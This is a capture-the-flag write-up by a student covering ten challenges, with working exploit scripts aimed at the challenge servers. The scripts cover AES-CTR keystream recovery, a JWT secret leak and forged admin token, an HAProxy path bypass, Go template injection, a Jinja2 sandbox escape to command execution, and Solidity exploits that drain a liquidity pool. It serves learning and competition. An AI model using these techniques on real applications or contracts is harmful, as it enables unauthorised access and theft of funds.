C2C CTF Writeups

Author : THY DAYUTH

Institute : Cambodia Academy of Digital Technology

Overall : 104th

Solved : 10 Flags

Date : 18th February 2026

Github : [T0fuHasuu/C2C]

Content Table

1. big guy | Crypto

Description The server uses AES in CTR mode. Trick it into revealing the keystream for the flag ciphertexts, then XOR your way to the flag.

Solution

Step 1: Understand the setup. The server encrypts the two flags using AES-CTR with an IV called `big_guy`. You can ask the server to encrypt your own plaintext, but a `plagiarism_check` rejects any IV that shares more than 13 bytes with a previously used one. Your dummy IV must differ by at least 3 bytes.

Step 2: Get Flag 2 using the MSB trick. The server checks your raw IV against `BIG_IVS` but then strips the MSB of each byte before using it for the `pants` path. Spam the `reset` command until `big_guy` has at least 3 bytes above 128. Then send `pants` (which is just `big_guy` with MSBs zeroed) as your IV. It passes the check but produces the exact same keystream as the flag.

```
while True:
    big = json.loads(...)  # get big_guy from server
    if sum(1 for x in big if x >= 128) >= 3 and big[13] >= 128:
        break
    r.sendline(json.dumps({"options": "reset"}).encode())

pants = [x & 0x7F for x in big]
r.sendline(json.dumps({"options": "encrypt", "iv": pants, "plaintext": "A" * len(flag2_ct)}).encode())
ct_big = ...  # parse response
ks2 = xor(ct_big, b"A" * len(flag2_ct))
flag2 = xor(flag2_ct, ks2)
```

Step 3: Get Flag 1 using counter sliding. Modify the 13th byte of your IV to be exactly one less than `big_guy`'s 13th byte. This forces the AES counter to slide into the range used for the flag. Since a `MAGIC_WORD` is XORed into the IVs and uses only printable characters, brute force all ~100 possibilities.

```
for c in string.printable:
    B = big[13] ^ ord(c)
    if B != 0:
        candidates.add((B - 1) ^ ord(c))
```

Step 4: Send a massive plaintext and scan for the flag. For each candidate IV, send a plaintext of `131072 * 16 + len(flag1_ct)` repeated `A`s. Slide through the resulting keystream in 16-byte increments and XOR against the flag ciphertext. Stop when you see output starting with `1pc{`.

```
for i in range(0, len(ks1) - len(flag1_ct) + 1, 16):
    guess = xor(flag1_ct, ks1[i:i+len(flag1_ct)])
    if guess.startswith(b"1pc{"):
        flag1 = guess
        break
```

Step 5: Combine both halves.

```
print((flag1 + flag2).decode())
```

2. bunaken | Reverse

Description A Linux binary encrypted `flag.txt` into `flag.txt.bunakencrypted`. Reverse the encryption to recover the flag.

Solution

Step 1: Run `strings` on the binary. Before opening a disassembler, run basic static analysis. Scroll through the output and look for anything out of place.

strings bunaken

You'll spot the word `sulawesi`. That's the hardcoded password.

Step 2: Decode the encrypted file. The file is base64 encoded. Decode it first.

base64 -d flag.txt.bunakencrypted > raw.bin

Step 3: Extract the IV and ciphertext. Most beginner CTF encryption tools prepend the IV directly to the file. Assume the first 16 bytes are the IV and the rest is ciphertext.

Step 4: Derive the key. `sulawesi` is 8 bytes but AES-128 needs 16. The binary hashes the password with SHA256 and takes the first 16 bytes.

Step 5: Decrypt with Node.js.

```
const crypto = require("crypto");
const key = "sulawesi";
const data =
Buffer.from("3o2Gh52pjRk80IPViTp8KUly+kDGXo7qAlPo2Ff1+IOWW1ziNAoboyBZPX6R4JvNXZ4iWwc662N
v/rMPLdwrIb3D4tTbOg/vi0NKaPfToj0=", "base64");

const iv   = data.subarray(0, 16);
const enc  = data.subarray(16);
const hash = crypto.createHash("sha256").update(key).digest().subarray(0, 16);

const decipher = crypto.createDecipheriv("aes-128-cbc", hash, iv);
let out = Buffer.concat([decipher.update(enc), decipher.final()]);
console.log(out.toString());
```

Run with:

node script.js

3. corp-mail | Web

Description Access a restricted admin email containing the flag. The app sits behind HAProxy which blocks `/admin`, and authentication is JWT-based with a random secret.

Solution

Step 1: Find the format string vulnerability. In `utils.py`, the `format_signature` function passes the `current_app` object directly into Python's `.format()`. Go to your account settings and set your email signature to:

{app.config[JWT_SECRET]}

Save it and reload. The server prints its own JWT secret to the screen.

Step 2: Forge an admin JWT. Use the leaked secret to sign a token with admin privileges.

```
import jwt, datetime

payload = {
    "user_id": 1,
    "username": "admin",
    "is_admin": 1,
    "exp": datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=365)
}
token = jwt.encode(payload, SECRET, algorithm="HS256")
```

Step 3: Bypass the HAProxy path filter. HAProxy blocks literal `/admin` by checking the raw URL string. Werkzeug URL-decodes paths before routing. URL-encode the `a` so HAProxy doesn't recognize the blocked word.

```
import http.client

conn = http.client.HTTPConnection("challenges.1pc.tf", PORT)
conn.request("GET", "/%61dmin/email/5", headers={"Cookie": f"token={token}"})
res  = conn.getresponse()
html = res.read().decode(errors="ignore")

for line in html.split("\n"):
    if "C2C{" in line:
        print(line.strip())
conn.close()
```

The request reaches Flask as `/admin/email/5` and returns the flag.

4. Covergence | Blockchain

Description Call `transcend` with a `SoulFragment` containing over 1000 essence. The setup contract caps essence at 100 per fragment through `bindPact`, so you need to trick it into approving an oversized payload.

Solution

Step 1: Understand the approval paths. `bindPact` validates and approves payloads but enforces the 100 essence cap. `sealDestiny` also approves payloads but decodes the bytes as simple arrays, not a `SoulFragment`. Solidity's `abi.decode` just reads raw memory offsets, so the same blob of bytes can pass as harmless arrays to `sealDestiny` and as a 1000+ essence fragment to `transcend`.

Step 2: Craft the dual-purpose payload. Build a payload that satisfies `sealDestiny`'s non-empty array checks while placing your large essence integer at the exact memory offset where `transcend` expects it. Use 10 fragments of 100 ether each, which sums to 1000 ether of essence.

```
fragments = [(player, Web3.to_wei(100, "ether"), b"")] * 10

payload = eth_abi.encode(
    ["(address,uint256,bytes)[]", "bytes32", "uint32", "address", "address"],
    [fragments, b"\x00" * 32, 0, player, player]
)
```

Step 3: Get it approved through `bindPact`, then call `transcend`.

```
send_tx(setup.functions.bindPact(payload))
send_tx(challenge.functions.transcend(payload))

print(setup.functions.isSolved().call())  # True
```

5. tge | Blockchain

Description Reach Tier 3 in a token gating contract. You start with exactly 15 tokens, enough only for Tier 1. Get Tiers 2 and 3 for free.

Solution

Step 1: Spot the checks-effects-interactions bug. In `TGE.sol`, the `upgrade` function calls `_mint` before checking eligibility:

```
_burn(msg.sender, tier-1, 1);
_mint(msg.sender, tier, 1);
require(preTGEBalance[msg.sender][tier] > preTGESupply[tier], "not eligible");
```

After the mint, your `preTGEBalance` for that tier becomes 1. If `preTGESupply` for Tiers 2 and 3 is 0, the check reads `1 > 0` and passes.

Step 2: Force a snapshot with zero supply. `enableTge(bool)` in `Setup.sol` is a `public` function with no access control. Anyone can call it. Calling it with `false` triggers a snapshot. Call it right before any Tier 2 or 3 tokens exist.

Step 3: Run the exploit.

```
token.approve(address(tge), 15);
tge.buy();          // buy Tier 1 with your 15 tokens

setup.enableTge(false); // snapshot taken; Tier 2 and 3 supply = 0
setup.enableTge(true);  // reopen the upgrade window

tge.upgrade(2);     // preTGEBalance becomes 1 after mint; 1 > 0 passes
tge.upgrade(3);
```

Deploy and run with Foundry:

```
forge script script/Exploit.s.sol --rpc-url "<RPC_URL>" --broadcast
```

6. The Soldier of God, Rick | Web

Description Extract the flag from a running Go web server. The server reflects user input and runs a templating engine under the hood.

Solution

Step 1: Extract embedded files from the binary.

python go_embed_extractor.py ./soldier_binary

This pulls out `index.html`, `style.css`, and a `.env` file. Inside the `.env`:

SECRET_PHRASE=Morty_Is_The_Real_One

Step 2: Intercept the `/fight` request. Open the live instance in a browser, trigger the fight form, and capture the traffic in Burp Suite. The POST body looks like:

battle_cry=1&secret=1

The server returns `403 Forbidden: You are not worthy.`

Step 3: Use the correct secret. In Burp Repeater, change `secret=1` to `secret=Morty_Is_The_Real_One`. You get a `200 OK`. The response body reflects your input: `You screamed: "1"`.

Step 4: Test for SSTI. The backend is Go. Send a Go template expression as `battle_cry`:

battle_cry=%7B%7B.%7D%7D&secret=Morty_Is_The_Real_One

The server dumps a Go struct in the response. You have code execution.

Step 5: Dump unexported struct fields. The basic `{{ . }}` only shows exported fields. Use `printf` formatting to force a raw memory dump:

battle_cry=%7B%7Bprintf%20%22%25%23v%22%20.%7D%7D&secret=Morty_Is_The_Real_One

The server prints the entire struct including hidden fields. The flag is in there.

7. welcome | Misc

Description Find the flag for the welcome challenge.

Solution

Step 1: Don't overthink it. I spent a minute hunting through the SKSD website looking for something hidden. The flag was on the CTF's main landing page the whole time.

Step 2: Go back to the main CTF page and read it.

8. JinJail | Misc

Description Escape a Jinja2 sandbox. The WAF blocks quotes, limits brackets and parentheses to 3 each, and restricts common keywords. The only injected module is `numpy`.

Solution

Step 1: Bypass the quote filter. You can't pass strings directly. Use the `dict()` trick inside a for-loop to generate the string `'os'` without ever writing a quote character.

{% for k in dict(os=1) %}

Step 2: Bypass the character limit for your command. Map execution to `stdin.readline()`. This makes the template pause and read your next line of input, so your actual command never touches the Jinja WAF.

Step 3: Find a working numpy path. `numpy.sys` was removed in Numpy 2.0, which is what the server pulls since `requirements.txt` has no version pins. Iterate through submodule paths until one resolves. The working ones include `numpy.typing.sys` and `numpy.f2py.sys`.

Step 4: Run the exploit script.

```
from pwn import *

HOST = "challenges.1pc.tf"
PORT = 26653

paths = ["numpy.typing.sys", "numpy.f2py.sys", "numpy.testing.sys", "numpy.char.sys"]

for p in paths:
    r = remote(HOST, PORT)
    r.recvuntil(b">>> ")

    payload = (
        "{% for k in dict(os=1) %}"
        "{% set x=" + p + ".modules[k].system(" + p + ".stdin.readline()) %}"
        "{% endfor %}"
    )
    r.send(payload.encode() + b"\n")
    r.send(b"/fix help\n")

    out = r.recvall(timeout=3).decode(errors="ignore").strip()
    r.close()

    if out and out != "Nope":
        print(out)
        break
```

Step 5: Why `/fix help` and not `cat /root/flag.txt`. The flag is `chmod 400` and owned by root. The Dockerfile compiles a SUID binary at `/fix` that runs as root and prints the flag when called with `help`.

9. Log | Forensics

Description Answer 9 questions about a WordPress attack using only `access.log` and `error.log`.

Solution

Connect to the challenge server:

nc challenges.1pc.tf <PORT>

Q1: Victim IP Filter for the server's own IP in the log. The victim is the server being hit.

Answer: `182.8.97.244`

Q2: Attacker IP Look for the IP making repeated malicious requests.

Answer: `219.75.27.16`

Q3: Login attempts Filter for successful-looking login responses (status 200 with a consistent byte size):

grep 'POST /wp-login.php HTTP/1.1" 200 2583' access.log | wc -l

Answer: `6`

Q4: Affected plugin Check `error.log` for database errors. The table name in the SQL error reveals the plugin.

wp_easy-quotes-families

Answer: `Easy Quotes`

Q5: CVE ID The `error.log` shows a blind SQL injection pattern against the Easy Quotes plugin REST endpoint. Look up the plugin name against the CVE database.

Answer: `CVE-2025-26943`

Q6: Tool and version The User-Agent string in the log identifies the attacker's tooling.

Answer: `sqlmap/1.10.1.21`

Q7: Email obtained The sqlmap dump in the log shows the extracted admin email.

Answer: `admin@daffainfo.com`

Q8: Password hash Pull the hash from the same dump.

Answer: `$wp$2y$10$vMTERqJh2IlhS.NZthNpRu/VWyhLWc0ZmTgbzIUcWxwNwXze44SqW`

Q9: Successful login timestamp Find the `302` redirect response on `wp-login.php`.

Answer: `11/01/2026 13:12:49`

Flag: `C2C{7H15_15_V3rY_345Y_aaaddbdecae5}`

10. nexus | Blockchain

Description Drain a liquidity pool by manipulating the crystal minting formula before the setup contract makes its deposits.

Solution

Step 1: Understand the vulnerability. The `essenceTocrystal` formula is:

return (essenceAmount * totalCrystals) / amp;

Solidity rounds integer division down to 0. If `amp` is larger than the numerator, the deposit mints 0 crystals. You can abuse this to steal a huge deposit.

Step 2: Spot the setup flaw. `conductRituals()` is `external` and was not called inside the constructor. There is a window to manipulate the pool state before the setup runs.

Step 3: Set the trap. Attune exactly 1 wei of Essence so `totalCrystals` becomes 1. Then transfer 6,000 ether directly to the Nexus contract via ERC20 transfer (not through attune). This inflates `amp` to `6000 ether + 1 wei` without minting any new crystals.

```
send_tx(essence.functions.approve(nexus.address, max_uint).build_transaction({"from": wallet}))
send_tx(nexus.functions.attune(1).build_transaction({"from": wallet}))
send_tx(essence.functions.transfer(nexus.address, w3.to_wei(6000, "ether")).build_transaction({"from": wallet}))
```

Step 4: Trigger the setup ritual. Now call `conductRituals()`. The setup tries to deposit 6,000 ether. The math:

(6000e18 * 1) / (6000e18 + 1) => 0

The same thing happens for the 9,000 ether deposit. The setup dumps 15,000 ether into the pool and receives 0 crystals.

```
send_tx(setup.functions.conductRituals().build_transaction({"from": wallet}))
```

Step 5: Dissolve and collect. Your 1 wei crystal is now the only one in existence, representing 100% of the pool. Call `dissolve()` to burn it and withdraw against the entire balance (your 6,000 + setup's 15,000 ether). Even with the 22% friction fee you clear the required 20,250 ether target.

```
send_tx(nexus.functions.dissolve(1, wallet).build_transaction({"from": wallet}))
print(setup.functions.isSolved().call())  # True
```